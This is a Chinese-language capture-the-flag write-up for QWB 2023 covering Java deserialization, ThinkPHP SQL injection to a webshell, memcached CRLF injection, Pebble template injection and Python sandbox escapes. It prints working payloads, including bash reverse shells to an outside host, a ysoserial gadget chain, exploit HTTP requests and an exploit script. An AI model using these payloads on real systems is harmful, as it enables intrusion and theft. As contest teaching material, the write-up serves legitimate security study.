QWB 2023 Writeup

 

20231219213702

WEB

happygame

题目提供了一个 gRPC 服务。gRPC 是一个由 Google 初始开发的高性能、开源的远程过程调用(RPC)框架。网上已有不少针对 gRPC 的安全研究:

gRPC 框架如下所示: 20231218193159

可见服务端由 Java 编写。

针对 gRPC 服务端,我们可以使用 gRPCurl 来逐步枚举服务端提供的接口以及接口定义。下载链接:fullstorydev/grpcurl: Like cURL, but for gRPC: Command-line tool for interacting with gRPC servers

根据工具文档,我们可以使用 list 来枚举接口,例如:

grpcurl -vv 8.147.133.154:43668 list
grpcurl -vv 8.147.133.154:43668 list helloworld.Greeter

使用 describe 来获取接口定义及参数信息:

grpcurl -vv 8.147.133.154:43668 describe helloworld.Greeter.ProcessMsg

helloworld.Greeter.ProcessMsg 接口可以接收一个 serializeData,发包格式如下:

./grpcurl -plaintext -d '{"serializeData":"xxxxx' -vv 8.147.133.154:43668 helloworld.Greeter/ProcessMsg

可以猜测此处存在反序列化漏洞,并且发送数据之后,接口的报错信息会提示我们需要发送 base64 编码数据。

测试 URLDNS 利用链时确认存在漏洞,然后利用 CC6 可以 getshell。

# bash -i >& /dev/tcp/xxxx/9999 0>&1
# bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

ysoserial CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'  | base64 -w 0

poc:

./grpcurl -plaintext -d '{"serializeData":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNRFF1TWpJMUxqSXpPQzR4TVRBdk9UazVPU0F3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="}' -vv 8.147.133.154:43668 helloworld.Greeter/ProcessMsg

thinkshop

题目给出了一个基于 thinkphp 的 php 服务,模板 goods_edit.html 中存在 unserialize 操作,thinkphp 版本为 5.0.23,可以考虑利用反序列化写入 webshell。

    <textarea class="form-control" id="data" name="data" rows="3" required>{php}
        
        use app\index\model\Goods;$view=new Goods();echo $view->arrayToMarkdown(unserialize(base64_decode($goods['data'])));{/php}</textarea>

编辑商品页面需要登陆 admin 才能访问,数据库中保存的 hash 是 123456 的 md5,但登录部分的代码故意写错,输入 1/123456 才能正常登录。

通过 goods_edit.html 我们可以修改数据库中的 goods 表的 data 字段。但 saveGoods 函数会先将我们的输入进行序列化,然后再保存,最终写入的 payload 都会变成字符串,无法正常触发 thinkphp 利用链。

    public function saveGoods($data)
    {
        $data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
        return $this->save($data);
    }

但 updatedata 函数存在 sql 注入,可以利用 SQL 注入将 payload 插入到 data 字段。

    public function updatedata($data, $table, $id)
    {
        if (!$this->connect()) {
            die('Error');
        } else {
            $sql = "UPDATE $table SET ";
            foreach ($data as $key => $value) {
                $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
            }

            $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
            return mysqli_query($this->connect(), $sql);


        }
    }

此外,题目在反序列化前还有一个校验操作:从数据库取出 data 时会判断是否以 YTo 开头:

    public function getGoodsById($id)
    {
        $select = new Select();
        $data = $select->select('goods', 'id', $id);
        if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
            {
                $this->error("数据错误" , 'index/admin/goods_edit');
            }
        return $data;
    }

其实是要求反序列化出来一个数组,可以修改一下 phpggc,包一层数组后再生成 payload:

phpggc ThinkPHP/FW1 /var/www/html/ /mnt/share/project/CTF/QWB/thinkshop/shell.php -b -u

发送 payload:

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com
Content-Length: 1629
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeiwefvnk7dn1jomqhm.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9kfk3dm38nq1p2tbm00p6toad7
Connection: close

id=1&name`%3d"",`data`%3d"YToyOntpOjA7aToxO2k6MTtPOjEzOiJ0aGlua1xQcm9jZXNzIjozOntzOjI3OiIAdGhpbmtcUHJvY2VzcwBwcm9jZXNzUGlwZXMiO086Mjg6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc01hbnkiOjU6e3M6ODoiACoAcXVlcnkiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo1OiJ3aGVyZSI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086Mjk6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjI4OiJ0aGlua1xjYWNoZVxkcml2ZXJcTWVtY2FjaGVkIjozOntzOjY6IgAqAHRhZyI7YjoxO3M6MTA6IgAqAG9wdGlvbnMiO2E6Mjp7czo2OiJleHBpcmUiO2k6MDtzOjY6InByZWZpeCI7czowOiIiO31zOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czo2OiIAKgB0YWciO2I6MDtzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjM2MDA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7czo0OiJwYXRoIjtzOjU4OiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvIjt9fX19fXM6OToiACoAcGFyZW50IjtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6MTp7czoxOiJhIjtzOjE6IjEiO31zOjExOiIAKgBsb2NhbEtleSI7czoxOiJhIjtzOjg6IgAqAHBpdm90IjtOO3M6MTM6IgAqAGZvcmVpZ25LZXkiO3M6MzU6IkFBQVBEOXdhSEFnWlhaaGJDZ2tYMGRGVkZ0aFhTazdQejRLIjt9czoyMToiAHRoaW5rXFByb2Nlc3MAc3RhdHVzIjtpOjM7czozMzoiAHRoaW5rXFByb2Nlc3MAcHJvY2Vzc0luZm9ybWF0aW9uIjthOjE6e3M6NzoicnVubmluZyI7YjoxO319fQ%3D%3D"where`id`%3d1%23=1111&price=&on_sale_time=&image=11111&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

然后访问编辑页面即可触发写入 webshell。

thinkshopping

比赛时没有写出,参考其他 writeup 进行复盘:

thinkshopping 的环境与 thinkshop 有所不同:

  1. 移除了 good_edit.html 中反序列化的操作。
  2. 移除了数据库中的 admin 用户,这导致正常情况下无法登陆。
  3. 数据库中将 secure-file-priv 置空(thinkshop 中为非 web 目录),因此可以通过 load_file 读取 flag 文件,sql 注入漏洞依然存在,所以只需要登陆后台即可读取 flag。

注意到登陆处配置了 cache,登陆时会尝试从缓存中获取数据。

    // 尝试从缓存中获取数据
    $adminData = Db::table('admin')
        ->cache(true, $Expire)
        ->find($username);

并且 thinkphp 里配置了 cache 方式为 Memcached,查看 phpinfo 可以判断 memcached 版本为 2.2.0.

    'cache' => [
        // 驱动方式
        'type'   => 'Memcached',
        // 缓存保存目录
        'path'   => CACHE_PATH,
        // 缓存前缀
        'prefix' => '',
        // 缓存有效期 0表示永久缓存
        'expire' => 0,
    ],

参考:php-memcached CRLF绕过 - FreeBuf网络安全行业门户 memcached 2.2.0 以下存在 CRLF 漏洞。

poc 如下:

http://127.0.0.1/test.php?token=TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

# 等价于
set snowwolf 0 500 4
wolf

memcached 的 set 语法如下:

set key flags exptime bytes [noreply] 
value 
  1. key:用于从Memcached中存储和检索数据的键。
  2. flags:服务器与用户提供的数据一起存储的 32 位无符号整数,并在检索项目时与数据一起返回。
  3. exptime:以秒为单位的过期时间。0表示没有延迟。如果 exptime 大于30天,Memcached将其用作UNIX时间戳以进行过期。
  4. bytes:需要存储的数据块中的字节数。这是存储在 Memcached 中的数据的长度。
  5. noreply:这是一个可选参数。它用于通知服务器不发送任何回复。
  6. value:需要存储的数据。在执行带有上述选项的命令后,需要在新行上传递数据。

thinkphp 中的 find 函数可以在 thinkphp/library/think/db/Query.php 中找到,如果开启了 cache。查询数据时会获取 think:shop.admin|username 的值。

        if (empty($options['fetch_sql']) && !empty($options['cache'])) {
            // 判断查询缓存
            $cache = $options['cache'];
            if (true === $cache['key'] && !is_null($data) && !is_array($data)) {
                $key = 'think:' . $this->connection->getConfig('database') . '.' . (is_array($options['table']) ? key($options['table']) : $options['table']) . '|' . $data;
            } elseif (is_string($cache['key'])) {
                $key = $cache['key'];
            } elseif (!isset($key)) {
                $key = md5($this->connection->getConfig('database') . '.' . serialize($options) . serialize($this->bind));
            }
            $result = Cache::get($key);

这个值在 memcached 中的格式可以通过下面的测试代码来获取:

public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

运行后可以得到正常的格式:

a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}

还有一个需要注意的地方是,memcached 在写入数据时,flag 字段是留给用户自定义的,thinkphp 在写入不同类型的数据时,会设定不同的 flag 值,如 0 表示字符串,4 表示数组,数据库获取到的数据存储到 Memcached 时,使用的 flag 值就是 4。

所以利用 CRLF 写入时,也需要将 flag 值设定为 4,payload 如下:

set think:shop.admin|admin 4 500 101
a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}

exp:

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

hellospring

题目提供了一个使用 pebble 作为渲染引擎的 Spring 服务,pebble 3.1.5 存在模板注入漏洞,参考:- Spring 场景下突破 pebble 模板注入限制 - 知乎

文章提供的 payload 可以在本地打通,但目标测试时不会远程加载 xml,猜测不出网,所以可以先将 xml 文件内容写入本地,然后利用 file 协议从本地读取 xml。

另外,测试时发现 xml 是可以写入 /tmp 并且访问到的,但模板却怎么也写不进去。猜测服务端做了某种过滤,一步一步打印出来看是否能够正常加载。

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{{ yy }}

当添加了下面这一句就无法正常写入了,猜测是对 org.springframework.context.support.ClassPathXmlApplicationContext 进行了过滤。

{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}

最后发现仅仅是做了一个字符过滤,换为拼接即可绕过:

"org.springframework.context"+".support.ClassPathXmlApplicationContext"

exp 如下:

import requests
import datetime
import time

host = "http://eci-2zeiuc2hk7njlsvn9mue.cloudeci1.ichunqiu.com:8088"
# host = "http://127.0.0.1:8088"

url = host + "/uploadFile"

proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

def calc_time(date_string):
    date_object = datetime.datetime.strptime(date_string, '%a, %d %b %Y %H:%M:%S %Z')

    t = int(date_object.strftime('%H%M%S'))
    # t -= 50000

    print(f"[+] t: {t}")
    return t

def trigger(t,exp=False):
    t -= 4
    if exp:
        loop = 16
    else:
        loop = 100
    for _ in range(loop):
        file_name = f"file_20231217_{str(t).rjust(6,'0')}"
        trigger_url = f"{host}/?x={file_name}"
        res = requests.get(trigger_url,proxies=proxies)
        if "constructor-arg" in res.text:
            print(f"[+] find exp in /tmp/{file_name}")
            return f"file:///tmp/{file_name}"
        else:
            t += 1
            continue
        

def upload():
    exp1 = {
    "content": '''<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,Y2F0IC9mbGFnID4gL3RtcC8xMjMxMjQucGViYmxl}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
'''
    }
    res = requests.post(url,data=exp1,proxies=proxies)

    date_string = res.headers['Date']
    return calc_time(date_string)


def exploit(exp_path):
    exp2 = {
        "content":'''{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context"+".support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("''' + exp_path + '''.pebble") }}
{{ yyy.refresh() }}'''
        # "content":"111111"
    }

    res = requests.post(url,data=exp2,proxies=proxies)
    date_string = res.headers['Date']

    return calc_time(date_string)


t = upload()
file_path = trigger(t)
time.sleep(10)
t = exploit(file_path)
trigger(t,True)
  1. exp 中的爆破时间其实没有必要,写入的速度其实比较快。
  2. 我本地的时区不同,因此加上了 t -= 50000 这一句。

easyphp

一个以 xcache 为背景的逆向题: 解题步骤可参考:第七届 强网杯 全国网络安全挑战赛 Web Writeup - Boogiepop Doesn’t Laugh

不太很理解这道题的应用场景🤣,正常情况下 xcache 只会在 /tmp 下。

解题思路如下:

  1. 找出 libphp 基地址,然后根据该地址修复 xcache 文件中的函数指针,使得该文件可以被本地正常加载。
  2. 加载起来后使用 xdebug trace 日志辅助分析代码运行流程。

记录一下 xcache 环境的搭建过程。

wget http://xcache.lighttpd.net/pub/Releases/3.2.0/xcache-3.2.0.tar.gz
tar zxvf xcache-3.2.0.tar.gz
cd xcache-3.2.0
phpize
./configure --enable-xcache --enable-xcache-encoder --enable-xcache-decoder --enable-xcache-assembler --enable-xcache-disassembler --with-php-config=/usr/bin/php-config
make & make install

但我本地一直没有自动生成该 mmap 文件,手动创建该文件后权限设定为 777,重启后可以生成。

MISC

pyjail1

题目源码如下:

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp", 
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

题目主要设置了几个防护:

  1. 将一些敏感函数使用 blacklist_fun_callback 进行覆盖。
         pty.spawn = blacklist_fun_callback
         os.system = blacklist_fun_callback
         os.popen = blacklist_fun_callback
         subprocess.Popen = blacklist_fun_callback
         subprocess.call = blacklist_fun_callback
         code.interact = blacklist_fun_callback
         code.compile_command = blacklist_fun_callback
    
  2. 将一些 builtins 中的函数进行覆盖:
         vars = blacklist_fun_callback
         attr = blacklist_fun_callback
         dir = blacklist_fun_callback
         getattr = blacklist_fun_callback
         exec = blacklist_fun_callback
         __import__ = blacklist_fun_callback
         compile = blacklist_fun_callback
         breakpoint = blacklist_fun_callback
    
  3. 删除了 os, subprocess, code, pty 库。
  4. 设置了一个黑名单 blacklist_words,过滤了一些敏感的函数名,但没有过滤 open、write 等文件操作函数。(help 也没有过滤,但进入文档后无法输入 :)
  5. 控制输入的长度为 65 以下,并且只能输入 ascii 字符,unicode 就用不了了。
  6. 最后通过 f string 来执行代码。

由于没有过滤 open 函数,我们可以直接读取文件内容:

{print(open("/etc/passwd").read())}

读取 /proc/self/environ 时可以读取到 flag。

pyjail2

解法 1:写文件

pyjail2 的源代码没有变,但 flag 值不在 /proc/self/environ 中了。由于 write 函数没有被过滤,我们可以先写入一个 python 文件,然后加载该文件来 getshell。

由于脚本本身加载了 code 模块,我们在当前目录写一个 code.py,再次运行该脚本时,就会加载我们写入的 code.py,如果我们写入下面的内容,就可以直接获取 shell。

__import__('os').system("bash")

由于限制了输入长度不能够超过 64,因此我们需要切分写入,例如:

{open("a","w").write("__im")}
{open("a","a").write("port_")}

注意,当我们需要写入含有单引号的字符时,如果直接使用 {open("a","a").write("_('o")} 会出现报错:

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "<string>", line 1
    f'{open("a","a").write("s'")}'
                              ^
SyntaxError: unterminated string literal (detected at line 1)

这是由于经过外层的 f string 之后,eval 执行的是如下的字符串,由于单引号没有闭合,所以无法执行,但我们加入反斜杠后,又会出现下面的错误,f-string 表达式部分不能包含反斜杠。

f-string expression part cannot include a backslash

但实际我们可以直接闭合掉两头的字符串,避免受到 f-string 的限制:

输入',open("a","a").write("s'"),'
拼接后为:eval('f\'\',open("a","a").write("s\'"),\'\'')

将 payload 写入文件 a 后,可以将内容写入 code.py,由于 code 也被过滤了,所以可以通过字符串拼接来绕过:

{1}',open('cod'+'e.py','w').write(open('a').read()),'

写入 code.py 后,再加载一次即可进入 bash。

完整 exp:

{open("a","w").write("__im")}
{open("a","a").write("port_")}
{1}',open("a","a").write("_('o"),'
{1}',open("a","a").write("s').syste"),'
{1}',open("a","a").write("m('bash')"),'
{1}',open('cod'+'e.py','w').write(open('a').read()),'

解法 2:清空 blacklist_words

该利用手法的思路如果:

  1. 将 blacklist_words 置空,然后利用 input() 来绕过长度限制进一步输入内容。
  2. 利用 globals()[builtins] 获取到内置模块,从而获取原始的内置函数。

具体可参考文章:2023 强网杯 Writeup - CN-SEC 中文网

全局变量 blacklist_words 可以通过 globals() 获取,下面的 payload 即可将该全局变量清空:

list(globals().values())[-2].clear()

清空之后,就可以使用黑名单的函数了,但由于长度限制,我们可以使得 eval 执行后返回 {input()},例如:

# {[list(globals().values())[-2].clear(),"(inpu""t())}"][1]} 离谱了,之前把括号写错了。。。下面才是正确的 payload。
{[list(globals().values())[-2].clear(),"{inpu""t()}"][1]}
# input_code = eval(f"f'{input_code}'") 后可以得到 {input()}

由于 while 循环的存在,会再次进入 eval,执行 eval(“f’{input()}’”) 会打开输入。

由于 blacklist_fun_callback 仅仅覆盖的是当前命名空间中的 breakpoint 函数,我们可以通过 globals()["__builtins__"] 获取到原始的 builtins 函数。因此我们再传入下面的 payload 即可打开 breakpoint 的 Pdb 交互式命令行.

{globals()["__builtins__"].breakpoint()}

进入命令行后,可以通过 os.listdir 或者 glob.glob 方法列目录。

import os
os.listdir("/")

另外,os 模块除了 system 以外,还有别的模块也是可以 getshell 的,比如:

os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)

方法多多,具体可参考我此前的博客:CTF Pyjail 沙箱逃逸原理合集

pyjail3

这道题涉及到了 AST 绕过,但限制非常死,源码如下:

import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance
}



def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      return False

  return True  


if __name__ == "__main__":
  user_input = ""
  while True:
    line = input()
    if line == "":
      break
    user_input += line
    user_input += "\n"

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})

BAD_ATS 过滤了非常多的 AST 类型,其中影响比较大的是下面的这几个:

  • ast.Attribute:最为致命,意味着 . 号获取属性无法使用。
  • ast.Constant:无法使用常量,但我们可以通过函数来获取常量,例如 str(len[[]])=’0’
  • ast.Subscript:无法使用索引、切片等。
  • ast.ClassDef:不能够定义类。
  • ast.For:不能使用 for 循环

BUILTINS 中能够使用的函数都不具备 RCE 或者操作文件系统的功能,那么我们的思路就是绕过 no builtins。

构造:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

绕过 ast.Attribute 获取属性

如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。

最简单的示例,匹配字符串:

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

对于基本类型的匹配比较好理解,下面是一个匹配类的示例:

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。

这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,我们可以编写如下的 match/case 语句:

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

可以看到 x 就是 ''.__class__. 因为所有的类都输入 object 类,所以我们可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。

match str():
    case object(__class__=x):
        print(x==''.__class__)

# True

再测试一下该 payload 的 AST:

import os
import ast 

a = '''
match str():
    case str(__class__=x):
        print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))

AST 如下:

Module(
    body=[
        Match(
            subject=Call(
                func=Name(id='str', ctx=Load()),
                args=[],
                keywords=[]),
            cases=[
                match_case(
                    pattern=MatchClass(
                        cls=Name(id='str', ctx=Load()),
                        patterns=[],
                        kwd_attrs=[
                            '__class__'],
                        kwd_patterns=[
                            MatchAs(name='x')]),
                    body=[
                        Expr(
                            value=Call(
                                func=Name(id='print', ctx=Load()),
                                args=[
                                    Name(id='x', ctx=Load())],
                                keywords=[]))])])],
    type_ignores=[])

可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute

我们可以构造替代 ''.__class__.__base__.__subclasses__()的 payload:

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

绕过 ast.Assign 赋值变量

ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式进行绕过。例如:

[
    system:=111,
    bash:=222
]

此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign

Module(
    body=[
        Expr(
            value=List(
                elts=[
                    NamedExpr(
                        target=Name(id='system', ctx=Store()),
                        value=Constant(value=111)),
                    NamedExpr(
                        target=Name(id='bash', ctx=Store()),
                        value=Constant(value=222))],
                ctx=Load()))],
    type_ignores=[])

绕过 ast.Constant 获取数字、字符串

题目限制了 ast.Constant,所以我们无法直接使用数字、字符串常量,但通过其他的函数组合我们可以构造出数字和字符串。 例如:

"" : str()
0  : len([])
"0": str(len([]))
"1": str(len([str()]))  str(len([min]))
"2": str(len([str(),str()]))  str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))

